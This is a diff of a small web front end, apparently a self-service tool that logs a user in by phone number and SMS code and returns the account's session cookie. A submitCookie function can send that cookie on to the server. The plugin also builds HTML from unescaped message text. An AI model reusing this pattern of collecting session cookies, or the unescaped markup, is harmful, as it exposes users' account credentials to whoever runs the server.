animation-fill-mode: both
-webkit-animation-name: messageFadeInDown;
animation-name: messageFadeInDown;
}
@keyframes messageFadeOutUp {
0% {
opacity: 1
}
100% {
opacity: 0;
-webkit-transform: translateY(-100%);
transform: translateY(-100%)
}
}
.c-message.messageFadeOutUp {
-webkit-animation-duration: .6s;
animation-duration: .6s;
-webkit-animation-fill-mode: both;
animation-fill-mode: both
-webkit-animation-name: messageFadeOutUp;
animation-name: messageFadeOutUp
}
/* .c-message--tip{
text-align: center;
} */

View File

@ -0,0 +1,41 @@
.margin-top-bottom {
margin: 15px;
}
.text-center {
text-align: center;
}
.text-left {
width: 100%;
text-align: left;
}
.form-group {
margin: 0 auto;
width: 18.75rem;
}
.content {
display: flex;
justify-content: center;
flex-direction: column;
width: 20rem;
margin: 0 auto;
padding-top: 50px;
}
.content input {
margin: 5px;
}
#urlselect {
width: 10rem;
margin: 0 auto;
}
.header {
margin: 0 auto;
}
#info {
font-size: 15px;
}

111
public/index.html 100644
View File

@ -0,0 +1,111 @@
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<link rel="stylesheet" href="css/bootstrap.css" />
<link rel="stylesheet" href="css/message.css" />
<link rel="stylesheet" href="./css/style.css" />
<script src="./js/jquery.js"></script>
<script src="./js/message.js"></script>
<title>自助获取CK</title>
</head>
<body>
<div class="content text-center">
<div class="header">
<h3>自助获取CK</h3>
</div>
<div class="alert alert-primary" role="alert" id="info">
欢迎使用~
</div>
<form class="myForm">
<div class="form-group">
<label for="phone" class="text-left">手机号:</label>
<input type="text" class="form-control" id="phone" aria-describedby="emailHelp" name="id" />
</div>
<div class="form-group">
<label for="code" class="text-left">验证码:</label>
<input type="text" class="form-control" id="code" name="key" />
<input type="button" value="获取验证码" onclick="sendSms()" class="btn btn-primary margin-top-bottom text-center" />
<input type="button" value="获取cookie" onclick="verifyCode()" class="btn btn-primary margin-top-bottom" />
</div>
<div class="form-group">
<label for="cookie" class="text-left">Cookie:</label>
<input type="text" class="form-control-plaintext" id="cookie" />
<!-- <input
type="button"
value="提交cookie"
onclick="submitCookie()"
class="btn btn-success margin-top-bottom"
/> -->
</div>
</form>
</div>
</body>
<script type="text/javascript">
var obj;
function sendSms() {
$.get('/sendSms?phone=' + $('#phone').val(), (data) => {
if (data.ok) {
$.message({
message: '验证码发送成功',
});
} else {
$.message({
type: 'error',
message: data.msg,
});
}
obj = data.data;
});
}
function verifyCode() {
if (!obj) {
$.message({
type: 'error',
message: '请先发送验证码',
});
}
$.ajax({
type: 'POST',
url:
'/checkCode?phone=' + $('#phone').val() + '&code=' + $('#code').val(),
data: JSON.stringify(obj),
contentType: 'application/json; charset=utf-8',
dataType: 'json',
}).then((data) => {
if (data.ok) {
$.message({
message: '获取cooke成功',
});
$('#cookie').val(data.data.ck);
} else {
$.message({
type: 'error',
message: data.msg,
});
}
});
}
function submitCookie() {
$.ajax({
type: 'POST',
url: '/submitCk',
data: JSON.stringify({ ck: $('#cookie').val() }),
contentType: 'application/json; charset=utf-8',
dataType: 'json',
}).then((data) => {
$.message({
type: data.ok ? 'success' : 'error',
message: data.msg,
});
});
}
</script>
</html>

2
public/js/jquery.js vendored 100644

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,82 @@
/**
* 消息提示组件
*
* 1.调用
* 字符串类型参数 $.message('成功');
* 对象型参数$.message({});
*
* 2.参数详解
* message:' 操作成功', //提示信息
time:'2000', //显示时间默认2s
type:'success', //显示类型包括4种success.error,info,warning
showClose:false, //显示关闭按钮(默认:否)
autoClose:true, //是否自动关闭(默认:是)
*
* type:success,error,info,warning
*/
$.extend({
message: function (options) {
var defaults = {
message: ' 操作成功',
time: '2000',
type: 'success',
showClose: false,
autoClose: true,
onClose: function () {}
};
if (typeof options === 'string') {
defaults.message = options;
}
if (typeof options === 'object') {
defaults = $.extend({}, defaults, options);
}
//message模版
var templateClose = defaults.showClose ? '<a class="c-message--close">×</a>' : '';
var template = '<div class="c-message messageFadeInDown">' +
'<i class=" c-message--icon c-message--' + defaults.type + '"></i>' +
templateClose +
'<div class="c-message--tip">' + defaults.message + '</div>' +
'</div>';
var _this = this;
var $body = $('body');
var $message = $(template);
var timer;
var closeFn, removeFn;
//关闭
closeFn = function () {
$message.addClass('messageFadeOutUp');
$message.one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function () {
removeFn();
})
};
//移除
removeFn = function () {
$message.remove();
defaults.onClose(defaults);
clearTimeout(timer);
};
//移除所有
$('.c-message').remove();
$body.append($message);
//居中
$message.css({
'margin-left': '-' + $message.width() / 2 + 'px'
})
//去除动画类
$message.one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function () {
$message.removeClass('messageFadeInDown');
});
//点击关闭
$body.on('click', '.c-message--close', function (e) {
closeFn();
});
//自动关闭
if (defaults.autoClose) {
timer = setTimeout(function () {
closeFn();
}, defaults.time)
}
}
});